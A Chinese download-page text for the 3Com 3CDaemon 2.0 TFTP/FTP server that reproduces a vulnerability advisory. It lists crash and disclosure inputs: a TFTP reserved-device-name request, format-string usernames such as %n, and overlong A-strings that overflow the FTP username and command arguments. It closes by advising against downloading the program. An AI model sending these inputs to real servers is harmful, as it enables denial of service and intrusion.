3COM 3CDaemon(tftp软件)v2.0 汉化免安装版
资源介绍
功能介绍
1、TFTP保留设备名拒绝服务攻击：
提交类似如下的请求，可导致TFTP服务程序挂起：
D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".
2、FTP用户名存在格式串问题：
提交包含格式串字符作为用户名数据，可导致守护程序崩溃：
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.
OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>
3、FTP超长用户名缓冲区溢出
由于对用户名缺少正确边界缓冲区检查，提交超长用户名可导致缓冲区溢出：
D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.
4、多个FTP命令超长参数缓冲区溢出：
cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令对参数缺少充分边界检查，提交超长字符串作为命令参数可导致缓冲区溢出：
ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>
ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.
ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.
5、多个FTP命令存在格式串问题
提交格式字符串作为参数，可导致程序崩溃。
6、多个FTP命令包设备名信息泄露问题
请求保留设备名可导致返回程序安装路径信息：
ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!
受影响系统：
3Com 3CDaemon 2.0 revision 10
哈，看来存在不少漏洞，不建议下载。